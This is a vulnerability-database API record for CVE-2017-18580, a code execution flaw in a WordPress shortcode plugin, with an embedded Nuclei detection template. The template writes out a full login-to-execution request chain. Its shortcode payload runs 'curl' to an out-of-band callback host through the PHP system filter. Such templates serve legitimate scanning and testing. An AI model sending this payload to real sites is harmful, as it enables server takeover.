{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2017-18580/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2017-18580/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2017-18580/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2017-18580/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2017-18580/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2017-18580/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2017-18580"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2017-18580"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2017/CVE-2017-18580.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2017-18580\n\ninfo:\n  name: WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    Shortcodes Ultimate plugin before 5.0.1 for WordPress contains a remote code execution caused by a filter in meta, post, or user shortcode, letting remote attackers execute arbitrary code, exploit requires sending crafted shortcode data.\n  impact: |\n    Remote attackers can execute arbitrary code on the server, potentially leading to full site compromise.\n  remediation: |\n    Update to version 5.0.1 or later.\n  reference:\n    - https://wpscan.com/vulnerability/efad59c8-e6ae-4167-9c78-d3ea52fe5bba/\n    - https://plugins.trac.wordpress.org/changeset/1756323/shortcodes-ultimate\n    - https://blog.sucuri.net/2017/11/formidable-forms-shortcodes-ultimate-exploits-in-the-wild.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-18580\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2017-18580\n    cwe-id: CWE-94\n    epss-score: 0.12092\n    epss-percentile: 0.96162\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: developer_developer\n    product: shortcodes-ultimate\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/shortcodes-ultimate/\"\n  tags: cve,cve2017,wordpress,wp-plugin,shortcodes-ultimate,rce,authenticated,oast,wp,vkev,vuln\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/post-new.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, \"_wpnonce\")\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'metabox-base-form\">\\s*<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"([a-f0-9]+)\"'\n\n      - type: regex\n        name: post_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - \"id='post_ID' name='post_ID' value='([0-9]+)'\"\n\n  - raw:\n      - |\n        POST /wp-admin/post.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=editpost&post_ID={{post_id}}&post_status=draft&post_type=post&_wpnonce={{nonce}}&post_title=nuclei-rce-test&content=%5Bsu_meta+key%3D1+post_id%3D1+default%3D%27curl+{{interactsh-url}}%27+filter%3D%27system%27%5D\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"post=\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /?p={{post_id}}&preview=true HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"dns\") || contains(interactsh_protocol, \"http\")'\n        condition: and\n# digest: 4a0a00473045022100a3005e3f74be94a12f2221943b06d5627106d0cbef5b04d8dd4dc07f96493a6f02200bb73e0122f18c884a59016091c1d433c0dc67197c838f54146093b419a7f763:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2017-18580"
}